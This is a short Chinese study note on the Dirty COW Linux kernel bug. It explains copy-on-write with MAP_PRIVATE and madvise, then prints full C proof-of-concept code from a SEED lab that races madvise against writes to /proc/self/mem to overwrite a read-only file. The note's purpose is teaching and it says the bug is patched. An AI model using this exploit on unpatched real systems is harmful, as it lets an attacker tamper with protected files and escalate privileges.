Dirty COW๐Ÿฎ

Dirty COW๐Ÿฎ

่ฟ™ไธ€้ƒจๅˆ†ไฝœไธบๅทฒ็ปไฟฎๅค็š„็ณป็ปŸๆผๆดž๏ผŒๆ”พๅˆฐ่ฟ™้‡Œๆœ‰็‚นไธๅคชๅˆ้€‚ไบ†๏ผŒไฝ†ๆœ‰ไธ€ๆฌกไธŠ่ฏพ่€ๅธˆๆๅˆฐ๏ผŒ็ฟปๅˆฐ็›ฎๅฝ•ๆ—ถๅˆ็ช็„ถ็œ‹ๅˆฐ๏ผŒๆ‰€ไปฅๅฐฑๆƒณ็ฎ€ๅ•่ฎฐๅฝ•ไธ€ไธ‹

mmap

  file                             memory
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\        โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”   
โ”‚         โ”‚          \       โ”‚              โ”‚
โ”‚         โ”‚  change   \โ”€โ”€โ”€โ”Œโ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ” 
โ”‚         โ”‚<----\         โ”‚                    โ”‚
โ”‚         โ”‚      \-----\  โ”‚                    โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€> process  
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\   \-โ”‚                    โ”‚
                     \    โ”‚                    โ”‚
                      \โ”€โ”€โ”€โ””โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”˜ 
                             โ”‚              โ”‚
                             โ”‚              โ”‚
                             โ”‚              โ”‚
                             โ”‚              โ”‚
                             โ”‚              โ”‚
                             โ”‚              โ”‚ 
                             โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜   

ๅฝ“่ฟ›็จ‹ไฝฟ็”จMAP_SHAREDๅฐ†ๆ–‡ไปถๆ˜ ๅฐ„ๅˆฐ่™šๆ‹Ÿๅ†…ๅญ˜ไธญๆ—ถ๏ผŒๆ–‡ไปถๅœจ่™šๆ‹Ÿๅ†…ๅญ˜ไธŠ็š„ไฟฎๆ”น๏ผŒไนŸไผšๅๆ˜ ๅˆฐๅฎž้™…็‰ฉ็†ๅ†…ๅญ˜ไธญ;ๆ‰€ไปฅๅฝ“่ฟ›็จ‹ๆƒณ่ฆๆœ‰็งๆœ‰่ฟ›็จ‹๏ผŒไธๅธŒๆœ›ไฟฎๆ”น่ขซๅ…ถๅฎƒๆ–‡ไปถ็œ‹ๅˆฐๆ—ถ๏ผŒๅฏไปฅไฝฟ็”จMAP_PRIVATE๏ผŒๅœจไฟฎๆ”นๆ—ถ๏ผŒๅœจๅ†…ๅญ˜ไธญๅšไธ€ไปฝๆ–‡ไปถ็š„็งๆœ‰ๆ‹ท่ด๏ผŒๅนถไธ”่ฏฅๆ‹ท่ดๆ˜ฏๅ†™ๆ—ถๆ‹ท่ด(COW):ๅชๆœ‰ๅœจ่ฟ›็จ‹ๅšๅ†™ๆ“ไฝœๆ—ถ๏ผŒ้œ€่ฆๅฐ†ๆ˜ ๅฐ„ๅˆฐๅ†…ๅญ˜ไธญ็š„ๅ†…ๅฎนๆ‹ท่ด

  file                             memory
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\        โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”   
โ”‚         โ”‚          \       โ”‚              โ”‚
โ”‚         โ”‚  change   \โ”€โ”€โ”€โ”Œโ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ” 
โ”‚         โ”‚<----\         โ”‚                    โ”‚
โ”‚         โ”‚      \-----\  โ”‚                    โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€> process  
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\   \-โ”‚                    โ”‚
                     \    โ”‚                    โ”‚
                      \โ”€โ”€โ”€โ””โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”ฌโ”˜ 
                             โ”‚              โ”‚ โ”‚  
                             โ”‚              โ”‚ โ”‚
                             โ”‚              โ”‚ โ”‚COW(if MAP_PRIVATE)
                             โ”‚              โ”‚ โ”‚
                             โ”‚              โ”‚ โ”‚
                             โ”‚              โ”‚ โ”‚
                             โ”‚              โ”‚ \/
                          โ”Œโ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ” 
                          โ”‚                    โ”‚  
                          โ”‚                    โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€> process  
                          โ”‚                    โ”‚               โ”‚ 
                          โ”‚                    โ”‚<โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ 
                          โ””โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”˜     change
                             โ”‚              โ”‚ 
                             โ”‚              โ”‚ 
                             โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜   

ไฝฟ็”จmadvise()ๅ‡ฝๆ•ฐ๏ผŒๅฏไปฅไฝฟๅพ—ๅคๅˆถๅ‡บ็š„็งๆœ‰ๅ†…ๅญ˜็ฉบ้—ด่ขซไธขๅผƒ๏ผŒๅนถๅฐ†่ฟ›็จ‹็š„่™šๆ‹Ÿๅ†…ๅญ˜้กต่กจ๏ผŒ้‡ๆ–ฐๆŒ‡ๅ›žๆœ€ๅˆ็š„ๅ†…ๅญ˜็ฉบ้—ด๏ผŒๆญคๆ—ถๅœจไฟฎๆ”นๆ—ถ๏ผŒๅฐฑๅฏไปฅๆ”นๅ˜็‰ฉ็†็ฉบ้—ดไธญ็š„ๅฎž้™…ๅ†…ๅฎน๏ผŒ่พพๅˆฐไฟฎๆ”นๅช่ฏปๆ–‡ไปถ็š„็›ฎ็š„๏ผš

mmap(...,MAP_PRIVATE) --- write() ---> copy the memory ---> update the pagea table ---> write 
into memory

# bug =>                                                                    
                                                                              
mmap(...,MAP_PRIVATE) --- write() ---> copy the memory ---> update the pagea table 
           
         *****exploit*****
--- madvice(...,MADV_DONTNEED) ---> write into memory
 

Example:

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/xxx", O_RDONLY);

  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "222222");                        

  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
  pthread_create(&pth2, NULL, writeThread, position);             

  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

void *writeThread(void *arg)
{
  char *content= "******";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
      madvise(map, file_size, MADV_DONTNEED);
  }
}

Reference: https://seedsecuritylabs.org/Labs_20.04/Software/Dirty_COW/

(ๅœจUbuntu16.04ไธญ๏ผŒ่ฏฅๆผๆดžๅทฒไฟฎๅค)